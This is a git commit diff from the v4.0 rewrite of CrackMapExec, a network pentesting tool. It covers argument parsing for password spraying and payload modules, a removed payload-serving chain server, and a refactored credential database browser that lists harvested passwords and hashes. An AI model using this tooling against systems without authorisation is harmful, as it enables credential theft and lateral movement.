Initial commit for v4.0
Just fyi for anyone reading this, it's not even close to being finished. The amount of changes are pretty insane, this commit is to serve as a refrence point for myself. Highlights for v4.0: - The whole codebase has been re-written from scratch - Codebase has been cut around 2/4 - Protocols are now modular! In theory we could use CME for everything - Module chaining has been removed for now, still trying to figure out a more elegant solution - Workspaces have implemented in cmedb - The smb protocol's database schema has been changed to support storing users, groups and computers with their respective memberships and relations. - I'm in the process of re-writing most of the modules, will re-add them once i've finishedmain
parent
b1e8322704
commit
9fefd167b0
|
@ -0,0 +1,77 @@
|
||||||
|
import argparse
|
||||||
|
import sys
|
||||||
|
from argparse import RawTextHelpFormatter
|
||||||
|
from cme.loaders.protocol_loader import protocol_loader
|
||||||
|
from cme.helpers.logger import highlight
|
||||||
|
|
||||||
|
def gen_cli_args():
|
||||||
|
|
||||||
|
VERSION = '4.0.0dev'
|
||||||
|
CODENAME = '\'Smidge\''
|
||||||
|
|
||||||
|
p_loader = protocol_loader()
|
||||||
|
protocols = p_loader.get_protocols()
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description="""
|
||||||
|
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
|
||||||
|
/ || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / |
|
||||||
|
| ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----'
|
||||||
|
| | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | |
|
||||||
|
| `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----.
|
||||||
|
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
|
||||||
|
|
||||||
|
A swiss army knife for pentesting networks
|
||||||
|
Forged by @byt3bl33d3r using the powah of dank memes
|
||||||
|
|
||||||
|
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
|
||||||
|
|
||||||
|
{}: {}
|
||||||
|
{}: {}
|
||||||
|
""".format(highlight('Version', 'red'),
|
||||||
|
highlight(VERSION),
|
||||||
|
highlight('Codename', 'red'),
|
||||||
|
highlight(CODENAME)),
|
||||||
|
|
||||||
|
formatter_class=RawTextHelpFormatter,
|
||||||
|
version='{} - {}'.format(VERSION, CODENAME),
|
||||||
|
epilog="I enjoy the simple pleasures of Daffy Dook...")
|
||||||
|
|
||||||
|
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
|
||||||
|
parser.add_argument("--timeout", default=30, type=int, help='Max timeout in seconds of each thread (default: 30)')
|
||||||
|
parser.add_argument("--darrell", action='store_true', help='Give Darrell a hand')
|
||||||
|
parser.add_argument("--verbose", action='store_true', help="Enable verbose output")
|
||||||
|
|
||||||
|
subparsers = parser.add_subparsers(title='Protocols', dest='protocol', description='Available Protocols')
|
||||||
|
|
||||||
|
std_parser = argparse.ArgumentParser(add_help=False)
|
||||||
|
std_parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
|
||||||
|
std_parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication')
|
||||||
|
std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="Username(s) or file(s) containing usernames")
|
||||||
|
std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="Password(s) or file(s) containing passwords")
|
||||||
|
fail_group = std_parser.add_mutually_exclusive_group()
|
||||||
|
fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attempts')
|
||||||
|
fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per username')
|
||||||
|
fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per host')
|
||||||
|
|
||||||
|
module_parser = argparse.ArgumentParser(add_help=False)
|
||||||
|
mgroup = module_parser.add_mutually_exclusive_group()
|
||||||
|
mgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use')
|
||||||
|
#mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
|
||||||
|
module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options')
|
||||||
|
module_parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
|
||||||
|
module_parser.add_argument('--options', dest='module_options', action='store_true', help='Display module options')
|
||||||
|
module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)')
|
||||||
|
module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
|
||||||
|
module_parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port')
|
||||||
|
|
||||||
|
for protocol in protocols.keys():
|
||||||
|
protocol_object = p_loader.load_protocol(protocols[protocol]['path'])
|
||||||
|
subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser)
|
||||||
|
|
||||||
|
if len(sys.argv) == 1:
|
||||||
|
parser.print_help()
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
return args
|
|
@ -1,111 +0,0 @@
|
||||||
import BaseHTTPServer
|
|
||||||
import threading
|
|
||||||
import ssl
|
|
||||||
import os
|
|
||||||
import sys
|
|
||||||
import logging
|
|
||||||
from BaseHTTPServer import BaseHTTPRequestHandler
|
|
||||||
from logging import getLogger
|
|
||||||
from gevent import sleep
|
|
||||||
from cme.helpers import highlight
|
|
||||||
from cme.logger import CMEAdapter
|
|
||||||
from cme.cmeserver import CMEServer
|
|
||||||
|
|
||||||
class RequestHandler(BaseHTTPRequestHandler):
|
|
||||||
|
|
||||||
def log_message(self, format, *args):
|
|
||||||
module = self.server.host_chain[self.client_address[0]][0]
|
|
||||||
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
|
|
||||||
server_logger.info("- - %s" % (format%args))
|
|
||||||
|
|
||||||
def do_GET(self):
|
|
||||||
current_module = self.server.host_chain[self.client_address[0]][0]
|
|
||||||
|
|
||||||
if hasattr(current_module, 'on_request'):
|
|
||||||
|
|
||||||
module_list = self.server.host_chain[self.client_address[0]][:]
|
|
||||||
module_list.reverse()
|
|
||||||
|
|
||||||
final_launcher = module_list[0].launcher(self.server.context, None if not hasattr(module_list[0], 'command') else module_list[0].command)
|
|
||||||
if len(module_list) > 2:
|
|
||||||
for module in module_list:
|
|
||||||
if module == current_module or module == module_list[0]:
|
|
||||||
continue
|
|
||||||
|
|
||||||
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
|
|
||||||
self.server.context.log = server_logger
|
|
||||||
|
|
||||||
final_launcher = module.launcher(self.server.context, final_launcher)
|
|
||||||
|
|
||||||
server_logger = CMEAdapter(getLogger('CME'), {'module': current_module.name.upper(), 'host': self.client_address[0]})
|
|
||||||
self.server.context.log = server_logger
|
|
||||||
|
|
||||||
if current_module == module_list[0]: final_launcher = None if not hasattr(module_list[0], 'command') else module_list[0].command
|
|
||||||
|
|
||||||
launcher = current_module.launcher(self.server.context, final_launcher)
|
|
||||||
payload = current_module.payload(self.server.context, final_launcher)
|
|
||||||
|
|
||||||
current_module.on_request(self.server.context, self, launcher, payload)
|
|
||||||
|
|
||||||
if not hasattr(current_module, 'on_response'):
|
|
||||||
try:
|
|
||||||
del self.server.host_chain[self.client_address[0]][0]
|
|
||||||
except KeyError or IndexError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
def do_POST(self):
|
|
||||||
self.server.log.debug(self.server.host_chain)
|
|
||||||
module = self.server.host_chain[self.client_address[0]][0]
|
|
||||||
|
|
||||||
if hasattr(module, 'on_response'):
|
|
||||||
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
|
|
||||||
self.server.context.log = server_logger
|
|
||||||
module.on_response(self.server.context, self)
|
|
||||||
|
|
||||||
try:
|
|
||||||
del self.server.host_chain[self.client_address[0]][0]
|
|
||||||
except KeyError or IndexError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
def stop_tracking_host(self):
|
|
||||||
'''
|
|
||||||
This gets called when a module has finshed executing, removes the host from the connection tracker list
|
|
||||||
'''
|
|
||||||
if len(self.server.host_chain[self.client_address[0]]) == 1:
|
|
||||||
try:
|
|
||||||
self.server.hosts.remove(self.client_address[0])
|
|
||||||
del self.server.host_chain[self.client_address[0]]
|
|
||||||
except ValueError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
class CMEChainServer(CMEServer):
|
|
||||||
|
|
||||||
def __init__(self, chain_list, context, logger, srv_host, port, server_type='https'):
|
|
||||||
|
|
||||||
try:
|
|
||||||
threading.Thread.__init__(self)
|
|
||||||
|
|
||||||
self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler)
|
|
||||||
self.server.hosts = []
|
|
||||||
self.server.host_chain = {}
|
|
||||||
self.server.chain_list = chain_list
|
|
||||||
self.server.context = context
|
|
||||||
self.server.log = context.log
|
|
||||||
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
|
|
||||||
|
|
||||||
logging.debug('CME chain server type: ' + server_type)
|
|
||||||
if server_type == 'https':
|
|
||||||
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)
|
|
||||||
|
|
||||||
except Exception as e:
|
|
||||||
errno, message = e.args
|
|
||||||
if errno == 98 and message == 'Address already in use':
|
|
||||||
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
|
|
||||||
else:
|
|
||||||
logger.error('Error starting HTTP(S) server: {}'.format(message))
|
|
||||||
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
def track_host(self, host_ip):
|
|
||||||
self.server.hosts.append(host_ip)
|
|
||||||
self.server.host_chain[host_ip] = [module['object'] for module in self.server.chain_list]
|
|
|
@ -1,36 +1,22 @@
|
||||||
#!/usr/bin/env python2
|
#!/usr/bin/env python2
|
||||||
|
|
||||||
import requests
|
|
||||||
from requests import ConnectionError
|
|
||||||
#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
|
|
||||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
||||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
||||||
|
|
||||||
import cmd
|
import cmd
|
||||||
import sqlite3
|
import sqlite3
|
||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
import argparse
|
|
||||||
from time import sleep
|
|
||||||
from ConfigParser import ConfigParser
|
from ConfigParser import ConfigParser
|
||||||
from cme.msfrpc import Msfrpc
|
from cme.loaders.protocol_loader import protocol_loader
|
||||||
from cme.database import CMEDatabase
|
|
||||||
from cme.helpers import validate_ntlm
|
|
||||||
|
|
||||||
class CMEDatabaseNavigator(cmd.Cmd):
|
class CMEDatabaseNavigator(cmd.Cmd):
|
||||||
|
|
||||||
def __init__(self, db_path, config_path):
|
def __init__(self, config_path):
|
||||||
cmd.Cmd.__init__(self)
|
cmd.Cmd.__init__(self)
|
||||||
self.prompt = 'cmedb > '
|
self.workspace_dir = os.path.expanduser('~/.cme/workspaces')
|
||||||
try:
|
self.workspace = 'default'
|
||||||
# set the database connection to autocommit w/ isolation level
|
self.db = None
|
||||||
conn = sqlite3.connect(db_path, check_same_thread=False)
|
self.conn = None
|
||||||
conn.text_factory = str
|
self.prompt = 'cmedb ({}) > '.format(self.workspace)
|
||||||
conn.isolation_level = None
|
self.p_loader = protocol_loader()
|
||||||
self.db = CMEDatabase(conn)
|
self.protocols = self.p_loader.get_protocols()
|
||||||
except Exception as e:
|
|
||||||
print "[-] Could not connect to database: {}".format(e)
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.config = ConfigParser()
|
self.config = ConfigParser()
|
||||||
|
@ -39,332 +25,45 @@ class CMEDatabaseNavigator(cmd.Cmd):
|
||||||
print "[-] Error reading cme.conf: {}".format(e)
|
print "[-] Error reading cme.conf: {}".format(e)
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
def display_creds(self, creds):
|
def open_proto_db(self, db_path):
|
||||||
|
#Set the database connection to autocommit w/ isolation level
|
||||||
|
self.conn = sqlite3.connect(db_path, check_same_thread=False)
|
||||||
|
self.conn.text_factory = str
|
||||||
|
self.conn.isolation_level = None
|
||||||
|
|
||||||
print "\nCredentials:\n"
|
def do_proto(self, proto):
|
||||||
print " CredID Admin On CredType Domain UserName Password"
|
if not proto: return
|
||||||
print " ------ -------- -------- ------ -------- --------"
|
|
||||||
|
|
||||||
for cred in creds:
|
proto_db_path = os.path.join(self.workspace_dir, self.workspace, proto + '.db')
|
||||||
# (id, credtype, domain, username, password, host, notes, sid)
|
if os.path.exists(proto_db_path):
|
||||||
credID = cred[0]
|
self.open_proto_db(proto_db_path)
|
||||||
credType = cred[1]
|
protocol_object = self.p_loader.load_protocol(self.protocols[proto]['nvpath'])
|
||||||
domain = cred[2]
|
|
||||||
username = cred[3]
|
|
||||||
password = cred[4]
|
|
||||||
|
|
||||||
links = self.db.get_links(credID=credID)
|
#try:
|
||||||
|
proto_menu = getattr(protocol_object, 'navigator')(self)
|
||||||
|
proto_menu.cmdloop()
|
||||||
|
#except:
|
||||||
|
# pass
|
||||||
|
|
||||||
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
|
def do_workspace(self, line):
|
||||||
'{:<13}'.format(str(len(links)) + ' Host(s)'),
|
if not line: return
|
||||||
'{:<12}'.format(credType),
|
|
||||||
u'{:<17}'.format(domain.decode('utf-8')),
|
|
||||||
u'{:<21}'.format(username.decode('utf-8')),
|
|
||||||
u'{:<17}'.format(password.decode('utf-8')))
|
|
||||||
|
|
||||||
print ""
|
if os.path.exists(os.path.join(self.workspace_dir, line)):
|
||||||
|
self.workspace = line
|
||||||
def display_hosts(self, hosts):
|
self.prompt = 'cmedb ({}) >'.format(line)
|
||||||
|
|
||||||
print "\nHosts:\n"
|
|
||||||
print " HostID Admins IP Hostname Domain OS"
|
|
||||||
print " ------ ------ -- -------- ------ --"
|
|
||||||
|
|
||||||
for host in hosts:
|
|
||||||
# (id, ip, hostname, domain, os)
|
|
||||||
hostID = host[0]
|
|
||||||
ip = host[1]
|
|
||||||
hostname = host[2]
|
|
||||||
domain = host[3]
|
|
||||||
os = host[4]
|
|
||||||
|
|
||||||
links = self.db.get_links(hostID=hostID)
|
|
||||||
|
|
||||||
print u" {}{}{}{}{}{}".format('{:<8}'.format(hostID),
|
|
||||||
'{:<15}'.format(str(len(links)) + ' Cred(s)'),
|
|
||||||
'{:<17}'.format(ip),
|
|
||||||
u'{:<25}'.format(hostname.decode('utf-8')),
|
|
||||||
u'{:<17}'.format(domain.decode('utf-8')),
|
|
||||||
'{:<17}'.format(os))
|
|
||||||
|
|
||||||
print ""
|
|
||||||
|
|
||||||
def do_exit(self, line):
|
def do_exit(self, line):
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
def do_import(self, line):
|
|
||||||
|
|
||||||
if not line:
|
|
||||||
return
|
|
||||||
|
|
||||||
if line == 'empire':
|
|
||||||
headers = {'Content-Type': 'application/json'}
|
|
||||||
|
|
||||||
#Pull the username and password from the config file
|
|
||||||
payload = {'username': self.config.get('Empire', 'username'),
|
|
||||||
'password': self.config.get('Empire', 'password')}
|
|
||||||
|
|
||||||
#Pull the host and port from the config file
|
|
||||||
base_url = 'https://{}:{}'.format(self.config.get('Empire', 'api_host'), self.config.get('Empire', 'api_port'))
|
|
||||||
|
|
||||||
try:
|
|
||||||
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
|
|
||||||
if r.status_code == 200:
|
|
||||||
token = r.json()['token']
|
|
||||||
|
|
||||||
url_params = {'token': token}
|
|
||||||
r = requests.get(base_url + '/api/creds', headers=headers, params=url_params, verify=False)
|
|
||||||
creds = r.json()
|
|
||||||
|
|
||||||
for cred in creds['creds']:
|
|
||||||
if cred['credtype'] == 'token' or cred['credtype'] == 'krbtgt' or cred['username'].endswith('$'):
|
|
||||||
continue
|
|
||||||
|
|
||||||
self.db.add_credential(cred['credtype'], cred['domain'], cred['username'], cred['password'])
|
|
||||||
|
|
||||||
print "[+] Empire credential import successful"
|
|
||||||
else:
|
|
||||||
print "[-] Error authenticating to Empire's RESTful API server!"
|
|
||||||
|
|
||||||
except ConnectionError as e:
|
|
||||||
print "[-] Unable to connect to Empire's RESTful API server: {}".format(e)
|
|
||||||
|
|
||||||
elif line == 'metasploit':
|
|
||||||
msf = Msfrpc({'host': self.config.get('Metasploit', 'rpc_host'),
|
|
||||||
'port': self.config.get('Metasploit', 'rpc_port')})
|
|
||||||
|
|
||||||
try:
|
|
||||||
msf.login('msf', self.config.get('Metasploit', 'password'))
|
|
||||||
except MsfAuthError:
|
|
||||||
print "[-] Error authenticating to Metasploit's MSGRPC server!"
|
|
||||||
return
|
|
||||||
|
|
||||||
console_id = str(msf.call('console.create')['id'])
|
|
||||||
|
|
||||||
msf.call('console.write', [console_id, 'creds\n'])
|
|
||||||
|
|
||||||
sleep(2)
|
|
||||||
|
|
||||||
creds = msf.call('console.read', [console_id])
|
|
||||||
|
|
||||||
for entry in creds['data'].split('\n'):
|
|
||||||
cred = entry.split()
|
|
||||||
try:
|
|
||||||
host = cred[0]
|
|
||||||
port = cred[2]
|
|
||||||
proto = cred[3]
|
|
||||||
username = cred[4]
|
|
||||||
password = cred[5]
|
|
||||||
cred_type = cred[6]
|
|
||||||
|
|
||||||
if proto == '(smb)' and cred_type == 'Password':
|
|
||||||
self.db.add_credential('plaintext', '', username, password)
|
|
||||||
|
|
||||||
except IndexError:
|
|
||||||
continue
|
|
||||||
|
|
||||||
msf.call('console.destroy', [console_id])
|
|
||||||
|
|
||||||
print "[+] Metasploit credential import successful"
|
|
||||||
|
|
||||||
def complete_import(self, text, line, begidx, endidx):
|
|
||||||
"Tab-complete 'import' commands."
|
|
||||||
|
|
||||||
commands = ["empire", "metasploit"]
|
|
||||||
|
|
||||||
mline = line.partition(' ')[2]
|
|
||||||
offs = len(mline) - len(text)
|
|
||||||
return [s[offs:] for s in commands if s.startswith(mline)]
|
|
||||||
|
|
||||||
def do_hosts(self, line):
|
|
||||||
|
|
||||||
filterTerm = line.strip()
|
|
||||||
|
|
||||||
if filterTerm == "":
|
|
||||||
hosts = self.db.get_hosts()
|
|
||||||
self.display_hosts(hosts)
|
|
||||||
|
|
||||||
else:
|
|
||||||
hosts = self.db.get_hosts(filterTerm=filterTerm)
|
|
||||||
|
|
||||||
if len(hosts) > 1:
|
|
||||||
self.display_hosts(hosts)
|
|
||||||
elif len(hosts) == 1:
|
|
||||||
print "\nHost(s):\n"
|
|
||||||
print " HostID IP Hostname Domain OS"
|
|
||||||
print " ------ -- -------- ------ --"
|
|
||||||
|
|
||||||
hostIDList = []
|
|
||||||
|
|
||||||
for host in hosts:
|
|
||||||
hostID = host[0]
|
|
||||||
hostIDList.append(hostID)
|
|
||||||
|
|
||||||
ip = host[1]
|
|
||||||
hostname = host[2]
|
|
||||||
domain = host[3]
|
|
||||||
os = host[4]
|
|
||||||
|
|
||||||
print u" {}{}{}{}{}".format('{:<8}'.format(hostID),
|
|
||||||
'{:<17}'.format(ip),
|
|
||||||
u'{:<25}'.format(hostname.decode('utf-8')),
|
|
||||||
u'{:<17}'.format(domain.decode('utf-8')),
|
|
||||||
'{:<17}'.format(os))
|
|
||||||
|
|
||||||
print ""
|
|
||||||
|
|
||||||
print "\nCredential(s) with Admin Access:\n"
|
|
||||||
print " CredID CredType Domain UserName Password"
|
|
||||||
print " ------ -------- ------ -------- --------"
|
|
||||||
|
|
||||||
for hostID in hostIDList:
|
|
||||||
links = self.db.get_links(hostID=hostID)
|
|
||||||
|
|
||||||
for link in links:
|
|
||||||
linkID, credID, hostID = link
|
|
||||||
creds = self.db.get_credentials(filterTerm=credID)
|
|
||||||
|
|
||||||
for cred in creds:
|
|
||||||
credID = cred[0]
|
|
||||||
credType = cred[1]
|
|
||||||
domain = cred[2]
|
|
||||||
username = cred[3]
|
|
||||||
password = cred[4]
|
|
||||||
|
|
||||||
print u" {}{}{}{}{}".format('{:<8}'.format(credID),
|
|
||||||
'{:<12}'.format(credType),
|
|
||||||
u'{:<17}'.format(domain.decode('utf-8')),
|
|
||||||
u'{:<21}'.format(username.decode('utf-8')),
|
|
||||||
u'{:<17}'.format(password.decode('utf-8')))
|
|
||||||
|
|
||||||
print ""
|
|
||||||
|
|
||||||
def do_creds(self, line):
|
|
||||||
|
|
||||||
filterTerm = line.strip()
|
|
||||||
|
|
||||||
if filterTerm == "":
|
|
||||||
creds = self.db.get_credentials()
|
|
||||||
self.display_creds(creds)
|
|
||||||
|
|
||||||
elif filterTerm.split()[0].lower() == "add":
|
|
||||||
|
|
||||||
# add format: "domain username password <notes> <credType> <sid>
|
|
||||||
args = filterTerm.split()[1:]
|
|
||||||
|
|
||||||
if len(args) == 3:
|
|
||||||
domain, username, password = args
|
|
||||||
if validate_ntlm(password):
|
|
||||||
self.db.add_credential("hash", domain, username, password)
|
|
||||||
else:
|
|
||||||
self.db.add_credential("plaintext", domain, username, password)
|
|
||||||
|
|
||||||
else:
|
|
||||||
print "[!] Format is 'add domain username password"
|
|
||||||
return
|
|
||||||
|
|
||||||
elif filterTerm.split()[0].lower() == "remove":
|
|
||||||
|
|
||||||
args = filterTerm.split()[1:]
|
|
||||||
if len(args) != 1 :
|
|
||||||
print "[!] Format is 'remove <credID>'"
|
|
||||||
return
|
|
||||||
else:
|
|
||||||
self.db.remove_credentials(args)
|
|
||||||
self.db.remove_links(credIDs=args)
|
|
||||||
|
|
||||||
elif filterTerm.split()[0].lower() == "plaintext":
|
|
||||||
creds = self.db.get_credentials(credtype="plaintext")
|
|
||||||
self.display_creds(creds)
|
|
||||||
|
|
||||||
elif filterTerm.split()[0].lower() == "hash":
|
|
||||||
creds = self.db.get_credentials(credtype="hash")
|
|
||||||
self.display_creds(creds)
|
|
||||||
|
|
||||||
else:
|
|
||||||
creds = self.db.get_credentials(filterTerm=filterTerm)
|
|
||||||
|
|
||||||
print "\nCredential(s):\n"
|
|
||||||
print " CredID CredType Pillaged From HostID Domain UserName Password"
|
|
||||||
print " ------ -------- -------------------- ------ -------- --------"
|
|
||||||
|
|
||||||
credIDList = []
|
|
||||||
|
|
||||||
for cred in creds:
|
|
||||||
credID = cred[0]
|
|
||||||
credIDList.append(credID)
|
|
||||||
|
|
||||||
credType = cred[1]
|
|
||||||
domain = cred[2]
|
|
||||||
username = cred[3]
|
|
||||||
password = cred[4]
|
|
||||||
pillaged_from = cred[5]
|
|
||||||
|
|
||||||
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
|
|
||||||
'{:<12}'.format(credType),
|
|
||||||
'{:<22}'.format(pillaged_from),
|
|
||||||
u'{:<17}'.format(domain.decode('utf-8')),
|
|
||||||
u'{:<21}'.format(username.decode('utf-8')),
|
|
||||||
u'{:<17}'.format(password.decode('utf-8'))
|
|
||||||
)
|
|
||||||
|
|
||||||
print ""
|
|
||||||
|
|
||||||
print "\nAdmin Access to Host(s):\n"
|
|
||||||
print " HostID IP Hostname Domain OS"
|
|
||||||
print " ------ -- -------- ------ --"
|
|
||||||
|
|
||||||
for credID in credIDList:
|
|
||||||
links = self.db.get_links(credID=credID)
|
|
||||||
|
|
||||||
for link in links:
|
|
||||||
linkID, credID, hostID = link
|
|
||||||
hosts = self.db.get_hosts(hostID)
|
|
||||||
|
|
||||||
for host in hosts:
|
|
||||||
hostID = host[0]
|
|
||||||
ip = host[1]
|
|
||||||
hostname = host[2]
|
|
||||||
domain = host[3]
|
|
||||||
os = host[4]
|
|
||||||
|
|
||||||
print u" {}{}{}{}{}".format('{:<8}'.format(hostID),
|
|
||||||
'{:<17}'.format(ip),
|
|
||||||
u'{:<25}'.format(hostname.decode('utf-8')),
|
|
||||||
u'{:<17}'.format(domain.decode('utf-8')),
|
|
||||||
'{:<17}'.format(os))
|
|
||||||
|
|
||||||
print ""
|
|
||||||
|
|
||||||
def complete_creds(self, text, line, begidx, endidx):
|
|
||||||
"Tab-complete 'creds' commands."
|
|
||||||
|
|
||||||
commands = [ "add", "remove", "hash", "plaintext"]
|
|
||||||
|
|
||||||
mline = line.partition(' ')[2]
|
|
||||||
offs = len(mline) - len(text)
|
|
||||||
return [s[offs:] for s in commands if s.startswith(mline)]
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
|
config_path = os.path.expanduser('~/.cme/cme.conf')
|
||||||
parser = argparse.ArgumentParser()
|
|
||||||
parser.add_argument("--db-path", type=str, default='~/.cme/cme.db', help="Path to CME database (default: ~/.cme/cme.db)")
|
|
||||||
parser.add_argument("--config-path", type=str, default='~/.cme/cme.conf', help='Path to the CME configuration file (default: ~/.cme/cme.conf)')
|
|
||||||
args = parser.parse_args()
|
|
||||||
|
|
||||||
db_path = os.path.expanduser(args.db_path)
|
|
||||||
config_path = os.path.expanduser(args.config_path)
|
|
||||||
|
|
||||||
if not os.path.exists(db_path):
|
|
||||||
print '[-] Path to database invalid!'
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
if not os.path.exists(config_path):
|
if not os.path.exists(config_path):
|
||||||
print "[-] Path to config file invalid!"
|
print "[-] Unable to find config file"
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
cmedbnav = CMEDatabaseNavigator(db_path, config_path)
|
cmedbnav = CMEDatabaseNavigator(config_path)
|
||||||
cmedbnav.cmdloop()
|
cmedbnav.cmdloop()
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -1,33 +1,8 @@
|
||||||
import logging
|
|
||||||
import socket
|
|
||||||
from logging import getLogger
|
|
||||||
from traceback import format_exc
|
from traceback import format_exc
|
||||||
from StringIO import StringIO
|
|
||||||
from functools import wraps
|
|
||||||
from gevent.coros import BoundedSemaphore
|
from gevent.coros import BoundedSemaphore
|
||||||
from impacket.smbconnection import SMBConnection, SessionError
|
from functools import wraps
|
||||||
from impacket.nmb import NetBIOSError
|
|
||||||
from impacket import tds
|
|
||||||
from cme.mssql import *
|
|
||||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|
||||||
from cme.helpers import highlight, create_ps_command
|
|
||||||
from cme.logger import CMEAdapter
|
from cme.logger import CMEAdapter
|
||||||
from cme.context import Context
|
from cme.context import Context
|
||||||
from cme.enum.shares import ShareEnum
|
|
||||||
from cme.enum.uac import UAC
|
|
||||||
from cme.enum.rpcquery import RPCQUERY
|
|
||||||
from cme.enum.passpol import PassPolDump
|
|
||||||
from cme.enum.users import SAMRDump
|
|
||||||
from cme.enum.wmiquery import WMIQUERY
|
|
||||||
from cme.enum.lookupsid import LSALookupSid
|
|
||||||
from cme.credentials.secretsdump import DumpSecrets
|
|
||||||
from cme.credentials.wdigest import WDIGEST
|
|
||||||
from cme.spider.smbspider import SMBSpider
|
|
||||||
from cme.execmethods.mssqlexec import MSSQLEXEC
|
|
||||||
from cme.execmethods.wmiexec import WMIEXEC
|
|
||||||
from cme.execmethods.smbexec import SMBEXEC
|
|
||||||
from cme.execmethods.atexec import TSCH_EXEC
|
|
||||||
from impacket.dcerpc.v5 import transport, scmr
|
|
||||||
|
|
||||||
sem = BoundedSemaphore(1)
|
sem = BoundedSemaphore(1)
|
||||||
global_failed_logins = 0
|
global_failed_logins = 0
|
||||||
|
@ -39,340 +14,105 @@ def requires_admin(func):
|
||||||
return func(self, *args, **kwargs)
|
return func(self, *args, **kwargs)
|
||||||
return wraps(func)(_decorator)
|
return wraps(func)(_decorator)
|
||||||
|
|
||||||
class Connection:
|
class connection:
|
||||||
|
|
||||||
def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
|
def __init__(self, args, db, host):
|
||||||
self.args = args
|
self.args = args
|
||||||
self.db = db
|
self.db = db
|
||||||
self.host = host
|
self.host = host
|
||||||
self.module = module
|
|
||||||
self.chain_list = chain_list
|
|
||||||
self.cmeserver = cmeserver
|
|
||||||
self.share_name = share_name
|
|
||||||
self.conn = None
|
self.conn = None
|
||||||
|
self.admin_privs = False
|
||||||
self.hostname = None
|
self.hostname = None
|
||||||
self.domain = None
|
|
||||||
self.server_os = None
|
|
||||||
self.logger = None
|
self.logger = None
|
||||||
self.password = None
|
self.password = None
|
||||||
self.username = None
|
self.username = None
|
||||||
self.hash = None
|
|
||||||
self.admin_privs = False
|
|
||||||
self.failed_logins = 0
|
self.failed_logins = 0
|
||||||
|
self.local_ip = None
|
||||||
try:
|
|
||||||
smb = SMBConnection(self.host, self.host, None, self.args.smb_port)
|
|
||||||
|
|
||||||
#Get our IP from the socket
|
self.proto_flow()
|
||||||
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
|
|
||||||
|
|
||||||
#Get the remote ip address (in case the target is a hostname)
|
@staticmethod
|
||||||
remote_ip = smb.getRemoteHost()
|
def proto_args(std_parser, module_parser):
|
||||||
|
return
|
||||||
|
|
||||||
try:
|
def proto_logger(self):
|
||||||
smb.login('' , '')
|
pass
|
||||||
except SessionError as e:
|
|
||||||
if "STATUS_ACCESS_DENIED" in e.message:
|
|
||||||
pass
|
|
||||||
|
|
||||||
self.host = remote_ip
|
def enum_host_info(self):
|
||||||
self.domain = smb.getServerDomain()
|
return
|
||||||
self.hostname = smb.getServerName()
|
|
